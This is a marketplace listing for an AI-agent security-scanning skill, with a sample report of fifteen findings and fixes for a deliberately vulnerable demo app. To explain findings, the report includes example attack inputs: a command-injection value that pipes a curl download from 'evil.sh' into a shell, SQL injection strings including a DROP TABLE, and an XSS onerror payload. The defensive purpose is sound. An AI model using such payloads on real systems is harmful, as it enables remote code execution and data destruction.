Works with the AI Agents you already use
Layered Security Scan (OWASP Top 10)
Most security scanners are either fast and noisy, or thorough and hard to set up.
Free
Layered Security Scan (OWASP Top 10)
Example session with this skill installed
Scan this repo for security issues before I deploy it.
- Read your context and instructions
- Compiled the layered security scan
- Generated the document
Security scan: taskboard (repository root)
Result: FAIL, 6 critical and 4 high confirmed
Layers: Patterns ✓ (29 rules) · Semgrep ✓ p/owasp-top-ten · Verification ✓
Scanned: 9 files (Python, JavaScript) ·
Candidates: 27 (29 pattern hits and 8 Semgrep results, after merging duplicates) ·
Reported: 15 findings ·
Dropped as false positives: 10
| # | Severity | Finding | Location | Found by | Status |
|---|---|---|---|---|---|
| 1 | Critical | Live Stripe secret key hardcoded | api/config.py:4 | Patterns | Confirmed |
| 2 | Critical | .env with production DB password and JWT secret committed to git | .env:1 | Patterns | Confirmed |
| 3 | Critical | SQL injection through the status query parameter | api/app.py:45 | Patterns + Semgrep | Confirmed |
| 4 | Critical | Command injection in unauthenticated /thumbnail | notify/server.js:18 | Patterns | Confirmed |
| 5 | Critical | /session issues a token for any user ID without a login | notify/server.js:24 | Patterns + verification | Confirmed |
| 6 | Critical | JWT signing secret hardcoded | notify/server.js:25 | Patterns + Semgrep | Confirmed |
| 7 | High | DELETE /tasks/<id> has no authentication | api/app.py:63 | Patterns | Confirmed |
| 8 | High | Passwords hashed with unsalted MD5 | api/app.py:22 | Patterns + Semgrep | Confirmed |
| 9 | High | Password-reset tokens made with Math.random() | notify/server.js:11 | Patterns | Confirmed |
| 10 | High | Flask debugger exposed on every network interface | api/app.py:71 | Patterns + Semgrep | Confirmed |
| 11 | Medium | Task titles inserted with innerHTML | web/app.js:7 | Patterns | Confirmed |
| 12 | Medium | CORS echoes any origin with credentials allowed | api/app.py:12 | Patterns | Likely |
| 13 | Medium | Session tokens never expire | notify/server.js:25 | Patterns | Confirmed |
| 14 | Low | Stack traces returned to clients | notify/server.js:19 | Patterns | Confirmed |
| 15 | Low | No rate limiting on /register or /reset-password | api/app.py:29, notify/server.js:10 | Patterns | Confirmed |
1. Critical: Live Stripe secret key hardcoded (api/config.py:4)
Evidence: STRIPE_SECRET_KEY = "sk_l…(42 chars)"
Why it matters: A sk_live_ key can create charges, issue refunds and read customer data on the live Stripe account. Everyone with read access to this repository has it.
Fix:
STRIPE_SECRET_KEY = os.environ["STRIPE_SECRET_KEY"]
Also: Roll the key in the Stripe dashboard first. It stays in git history after you remove it from the code.
2. Critical: .env with production credentials committed (.env:1)
Evidence: git ls-files lists .env. It holds DATABASE_URL=postgres://taskboard:Tb-p…(13 chars)@db.internal:5432/taskboard and JWT_SECRET=4b9e…(32 chars).
Why it matters: The database password points at a real host (db.internal). JWT_SECRET is the key api/auth.py uses to verify logins, so anyone with the repository can forge a token for any API user.
Fix:
git rm --cached .env
echo ".env" >> .gitignore
Also: Rotate the database password and JWT_SECRET (this logs everyone out, which is what you want). .env.example already exists with placeholders.
3. Critical: SQL injection through status (api/app.py:45)
Evidence: status = request.args.get("status", "open") (line 43) goes straight into cur.execute(f"... AND status = '{status}'").
Why it matters: GET /tasks?status=' OR '1'='1 returns every user's tasks, and psycopg2 also runs stacked statements such as '; DROP TABLE tasks; --. Semgrep's taint analysis traced the same flow independently.
Fix:
cur.execute(
"SELECT id, title, status FROM tasks WHERE owner_id = %s AND status = %s",
(current_user().id, status),
)
4. Critical: Command injection in /thumbnail (notify/server.js:18)
Evidence: exec("convert uploads/" + req.query.file + " -resize 128x128 thumbs/out.png", ...) on a route with no authentication.
Why it matters: POST /thumbnail?file=x;curl evil.sh|sh runs arbitrary shell commands as the service user, for anyone who can reach port 4000. Semgrep's OWASP ruleset didn't flag this; the pattern pass did.
Fix:
const { execFile } = require("child_process");
const SAFE_NAME = /^[\w-]+\.(png|jpe?g)$/;
app.post("/thumbnail", requireAuth, (req, res) => {
const file = req.query.file;
if (!SAFE_NAME.test(file)) return res.sendStatus(400);
execFile("convert", [`uploads/${file}`, "-resize", "128x128", "thumbs/out.png"], (err) => {
if (err) return res.status(500).json({ error: "Thumbnail failed" });
res.sendFile(__dirname + "/thumbs/out.png");
});
});
requireAuth stands for whatever authentication middleware you add; this service has none yet.
5. Critical: /session hands out a token for any user (notify/server.js:24)
Evidence: jwt.sign({ sub: req.body.userId }, ...). The route takes userId from the request body and never checks a password or an existing session.
Why it matters: POST /session {"userId": 1} returns a valid token for user 1, so anyone can sign in as anyone wherever these tokens are trusted. The route rule (SEC-020) surfaced it; reading the handler showed the missing login step, which no regex can see.
Fix: Issue a token only after verifying credentials or an existing session, and take the user ID from that verified identity, never from the request body.
6. Critical: JWT signing secret hardcoded (notify/server.js:25)
Evidence: jwt.sign({ ... }, "task…(20 chars)")
Why it matters: Anyone who reads the source can mint tokens with this key, independently of #5. Semgrep flagged it too (hardcoded-jwt-secret).
Fix:
const token = jwt.sign({ sub: user.id }, process.env.JWT_SECRET, { expiresIn: "1h" });
Generate the secret with openssl rand -hex 32 and keep it in the environment.
7. High: DELETE /tasks/<id> needs no login (api/app.py:63)
Evidence: Unlike GET and POST /tasks in the same file, this route has no @login_required, and it deletes by ID alone.
Why it matters: Anyone can delete any user's tasks by walking through IDs.
Fix:
@app.delete("/tasks/<int:task_id>")
@login_required
def delete_task(task_id):
with db() as conn, conn.cursor() as cur:
cur.execute("DELETE FROM tasks WHERE id = %s AND owner_id = %s", (task_id, current_user().id))
return "", 204
The owner_id check matters as much as the login: without it, any signed-in user could still delete another user's tasks.
8. High: Passwords hashed with unsalted MD5 (api/app.py:22)
Evidence: hashlib.md5(password.encode()).hexdigest(), called from /register.
Why it matters: MD5 is fast and unsalted here, so a leaked users table can be cracked with GPUs or precomputed tables. Semgrep agreed (md5-used-as-password).
Fix:
from argon2 import PasswordHasher
ph = PasswordHasher()
def hash_password(password):
return ph.hash(password)
Check logins with ph.verify(stored_hash, password) and rehash existing users on their next login. api/tests/test_auth.py asserts that two hashes of the same password are equal; salted hashes never are, so change that test to use ph.verify.
9. High: Password-reset tokens made with Math.random() (notify/server.js:11)
Evidence: const token = Math.random().toString(36).slice(2);, which is emailed as a reset link.
Why it matters: Math.random() isn't cryptographically secure: its output can be predicted after observing a few values, so reset links can be guessed and accounts taken over. Upgraded from medium because the value is a password-reset token. The tokens also never expire (resetTokens is a plain Map).
Fix:
const crypto = require("crypto");
const token = crypto.randomBytes(32).toString("hex");
Store it with an expiry (for example 30 minutes) and delete it after one use.
10. High: Flask debugger exposed on every interface (api/app.py:71)
Evidence: app.run(host="0.0.0.0", port=5000, debug=True)
Why it matters: Debug mode turns on the Werkzeug interactive debugger, which runs Python code from the browser. Binding to 0.0.0.0 puts it on the network, where the debugger PIN is the only barrier. Upgraded from low; Semgrep flagged both the debug flag and the host.
Fix:
import os
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=os.environ.get("FLASK_DEBUG") == "1")
In production, run the app under gunicorn instead of app.run.
11. Medium: Task titles inserted with innerHTML (web/app.js:7)
Evidence: list.innerHTML += `<li class="task">${task.title}</li>`; Titles come from POST /tasks (body["title"]) and are stored as-is.
Why it matters: A title like <img src=x onerror=...> runs script in the browser. Downgraded from high: today /tasks returns only the caller's own tasks, so a malicious title runs only for its author. It becomes stored XSS against other users the moment tasks are shared.
Fix:
for (const task of tasks) {
const li = document.createElement("li");
li.className = "task";
li.textContent = task.title;
list.append(li);
}
12. Medium: CORS echoes any origin with credentials allowed (api/app.py:12)
Evidence: CORS(app, origins="*", supports_credentials=True)
Why it matters (Likely): With this config, flask-cors echoes back the caller's Origin and adds Access-Control-Allow-Credentials: true, so any website may make credentialed requests. It isn't exploitable today because the API authenticates with a Bearer header that browsers don't attach on their own, so it stays at medium. web/app.js already sends credentials: "include", though, so this becomes a cross-site data leak as soon as cookie auth is added.
Fix:
CORS(app, origins=["https://taskboard.example"], supports_credentials=True)
13. Medium: Session tokens never expire (notify/server.js:25)
Evidence: jwt.sign(...) sets no expiresIn, and the payload has no exp.
Why it matters: A leaked token works forever.
Fix: Covered by the fix for #6 (expiresIn: "1h").
14. Low: Stack traces sent to clients (notify/server.js:19)
Evidence: res.status(500).json({ error: err.stack })
Why it matters: It reveals file paths and the full convert command line, which helps an attacker exploit #4.
Fix: console.error(err); return res.status(500).json({ error: "Thumbnail failed" });
15. Low: No rate limiting on /register or /reset-password (api/app.py:29, notify/server.js:10)
Evidence: Neither service has a limiter (no flask-limiter or slowapi, no express-rate-limit).
Why it matters: It allows mass account creation and flooding users with reset emails.
Fix: @limiter.limit("5/minute") with flask-limiter on /register, and rateLimit({ windowMs: 60_000, limit: 5 }) from express-rate-limit on /reset-password.
Dropped as false positives (10)
api/tests/test_auth.py:3SEC-001: fixture password used only by a unit test..env.example:1SEC-003, SEC-005: placeholder values (user:password@localhost,change-me).api/app.py:26SEC-021 and Semgrepinsecure-hash-algorithm-md5: MD5 builds cache keys from URLs, not password hashes.api/app.py:57SEC-061:random.choicepicks a badge colour.api/app.py:29SEC-020:/registeris public by design (rate limiting is #15).notify/server.js:10SEC-020:/reset-passwordis public by design (rate limiting is #15).api/app.py:50SEC-020:POST /taskshas@login_required.notify/server.js:20SEC-013: thesendFilepath is a constant.web/app.js:5SEC-031: assigns an empty string.web/app.js:12SEC-031: the HTML goes throughDOMPurify.sanitizefirst.
Not covered by this scan
Dependency vulnerabilities (run pip-audit and npm audit), authorization logic beyond the route checks above, and infrastructure and runtime configuration.
Next steps
- Rotate the Stripe key, the database password and both JWT secrets now (#1, #2, #6). They're in git history.
- Take
/thumbnailand/sessionoffline or put them behind auth until #4 and #5 are fixed. - Fix the SQL injection (#3) and the unauthenticated delete (#7).
- Move password hashing to argon2 (#8), make reset tokens with
crypto.randomBytes(#9) and close the public debugger (#10). - Then the medium and low items. Say "fix #3" to have me apply one fix at a time, show the diff and re-check the file.
out.png
PDF · document
Example file from a real run - the skill writes it into your workspace.
Connects securely to your tools. The creator never sees your data.
About this skill
Most security scanners are either fast and noisy, or thorough and hard to set up. This skill runs three layers and reports only what survives the last one.
1. Pattern pass (always runs). 29 ripgrep rules for hardcoded secrets (including AWS, Stripe, GitHub, Slack, Google, Anthropic and OpenAI key formats), SQL and command injection, path traversal, unsafe deserialization, SSRF, XSS sinks, weak password hashing, disabled TLS verification, permissive CORS, JWT mistakes, insecure randomness, debug mode and more. It also asks git whether .env or key files were committed.
2. Semgrep pass (when installed). Runs Semgrep's p/owasp-top-ten ruleset for AST and dataflow analysis, and merges its results with the pattern hits.
3. Verification pass (always runs). Your agent opens every candidate, reads the surrounding code and marks it Confirmed, Likely or False positive. Severity follows context: a sk_live_ key or a reset token made with Math.random() goes up, a test fixture goes down.
What you get: a pass/fail verdict, a findings table ranked by severity, evidence with secrets redacted, the smallest code fix for each finding, the list of dropped false positives so you can check the reasoning, and what the scan didn't cover.
How to use it: ask your agent "scan this repo for security issues", "security check src/api before I push" or "is anything hardcoded in here?". After the report, say "fix #3" and it applies one fix at a time, shows the diff and re-checks the file.
Safe by design
- Read-only during the scan. It edits code only when you ask it to fix something.
- Never prints a full secret: it shows the first 4 characters and the length.
- Your code stays on your machine. The only network call is Semgrep downloading its ruleset.
- The report says exactly which layers ran, so a pattern-only scan is never presented as a full one.
What it doesn't do: dependency CVE audits (use npm audit or pip-audit), testing live systems, or compliance sign-off. It's a fast first line of defence, not a replacement for a professional review.
Requirements: ripgrep or grep. Optional: git (for the committed-secrets check) and the Semgrep CLI (pip install semgrep).
The demo below is a real, unedited run against a small sample app with deliberate bugs and decoys planted in it.
Not a dependency or CVE scanner: use npm audit or pip-audit for that.
Pattern rules are strongest for JavaScript/TypeScript and Python; other languages get fewer checks.
The Semgrep layer needs the Semgrep CLI and network access to download its ruleset. Without it, only the pattern and verification layers run.
Static analysis only: it doesn't run or attack your app, and it can't see business-logic or authorization flaws beyond route-level checks.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before any payment.
Reviews
No reviews yet
Be one of the first to try it. Every listed skill goes through the trust checks below.
Security scanned
Checked by our 8-point scan before listing
Fresh listing
Recently published to Agensi
Free forever
No account required to browse
Trust & safety
Security scan
Security scan passed 14 days ago
- Free with an Agensi account
Requires
Permissions
Allowed Hosts
File Scopes
Reads files in the folder you name (default: the repository root). During a scan it writes only a temporary semgrep.json outside your project. It edits project files only in fix mode, when you ask. Semgrep runs with --metrics=off; nothing from your code is uploaded.